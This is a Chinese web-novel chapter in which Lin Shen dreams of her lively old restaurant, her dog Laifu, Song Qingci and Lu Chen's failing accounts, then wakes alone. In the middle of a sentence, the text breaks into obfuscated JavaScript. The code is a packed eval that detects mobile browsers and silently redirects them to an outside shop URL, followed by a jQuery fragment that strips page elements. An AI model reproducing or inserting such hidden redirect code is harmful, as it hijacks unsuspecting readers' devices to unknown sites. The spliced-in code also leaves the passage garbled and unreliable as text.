林深睡着以后，很快就做梦了。
梦里的风铃响了一声。她站在店门口，抬头看见那块熟悉的招牌，灯亮着，玻璃上映着街边的灯光，门口停着几辆车，大厅里有人说话，有人笑，有人举着酒杯聊天。那一瞬间她甚至愣了一下，因为太久没见过这样的店了。
来福从里面冲出来，胖了一圈，尾巴摇得飞快，一路滑到她脚边。林深蹲下来抱住它，来福开心得直吐舌头。
“你慢点。”她笑着拍了拍它脑袋。来福根本不听，又挣脱出来跑进大厅。
店里很热闹。吧台坐着几个熟客，后厨传来刀碰案板的声音，有人在喊单，有人在结账。夏禾坐在最里面的位置，一边吃东西一边玩手机，抬头看见林深，冲她挥了挥手。
“老板娘。”
“又来蹭饭？”
“什么蹭饭，我这是试菜。”
“试了三个月？”
“科研项目。”
林深笑出声。夏禾翻了个白眼，继续低头吃东西。来福不知道从哪叼来一个纸团放到她脚边，尾巴摇得飞快。林深刚准备弯腰去捡，风铃又响了。
她抬起头，门被推开，一个熟悉的人走进来。宋青瓷。他穿着黑色外套，手里拿着杯咖啡，像是路过，又像是专门过来。林深看着他，忽然觉得一点都不意外。梦里好像本来就该这样。
“站门口干什么。”宋青瓷看着她，“挡客人。”
林深愣了一下，然后笑了：“你怎么来了？”
“路过。”
“每次都路过。”
“那不然呢。”
他说完走进来，坐到窗边那个位置。很多年前，他第一次来店里坐的就是那里。
林深转身去忙。客人不少，点单、上菜、结账，来来回回。等她终于闲下来，发现桌上的空杯已经不见了，吧台上堆着的餐盘也少了一半。宋青瓷正站在旁边擦桌子，动作不太熟练，看起来有点笨。林深看着他，忽然笑了：“你会吗？”
“不会。”
“那你擦什么。”
“看你累。”
他说得理所当然，像本来就应该这样。林深怔了怔，没有说话，只是低头继续整理东西。来福跑过来围着宋青瓷转圈，宋青瓷低头摸了摸它，来福立刻高兴得趴在他脚边。
大厅里的灯暖暖的，客人还在聊天，夏禾不知道什么时候已经趴桌上睡着了，后厨的灯还亮着，风铃偶尔响一声。一切都很好，好得不像真的。
然后不知道从什么时候开始，大厅慢慢安静下来。客人一个个离开，灯光好像也暗了一些。夏禾不见了，后厨没人了，桌子空了。林深站在吧台后面，忽然发现店里只剩几个人——宋青瓷坐在窗边，来福趴在大厅中央，还有陆沉。他坐在角落，面前放着一堆账本、一瓶酒，还有一台计算器。没有人说话，他一直低头按着数字，一遍又一遍，仿佛怎么按都不对。
“哥。”
有人忽然开口。林深回过头，是店里的员工。他站在门口，手里拿着围裙，神情有些局促。“我可能做到月底。”
大厅忽然安静下来。陆沉没抬头，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17691752|207913||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
继续看着账本。员工站在那里，像做错事的小孩。“家里给我找了个工作，工资没这边高，但是稳定一点。”
没有人说话。过了很久，陆沉才点了点头：“知道了。”
员工张了张嘴，似乎还想说什么，最后什么也没说，转身离开。风铃轻轻响了一声，门关上了。店里又少了一个人。来福抬起头看了看门口，又慢慢趴下。
大厅越来越空。陆沉还坐在那里低头喝酒，账本翻开着，数字密密麻麻，像永远也算不完。林深想走过去，却发现脚下忽然变得很沉，怎么都走不动。她抬头，发现窗边的位置已经空了，宋青瓷不知道什么时候离开了。没有告别，没有说话，就像以前一样——来得突然，走得也突然。
林深站在那里，忽然有些慌。她四处张望，最后只看见来福。来福还在，它坐在大厅中央，抬头看着她，尾巴轻轻摇了一下。
下一秒，画面突然碎掉。林深猛地睁开眼。
员工休息室的天花板映入眼帘，窗外已经泛白，走廊里传来行李箱滚轮的声音。她躺在那里，没有立刻起身。梦里的画面还残留在脑海里——宋青瓷、夏禾、那家店，还有来福。过了很久，她轻轻笑了一下，笑意很淡。
“果然。”她低声说，“还是梦。”
梦里的宋青瓷会留下来，会帮忙收桌子，会陪她关店，会在她最累的时候站在旁边。可现实里的宋青瓷不会。她做了一个很好很好的梦，好到醒来的时候，她立刻就知道——那不是发生过的事。真正发生过的那些事，从来没有那么温柔。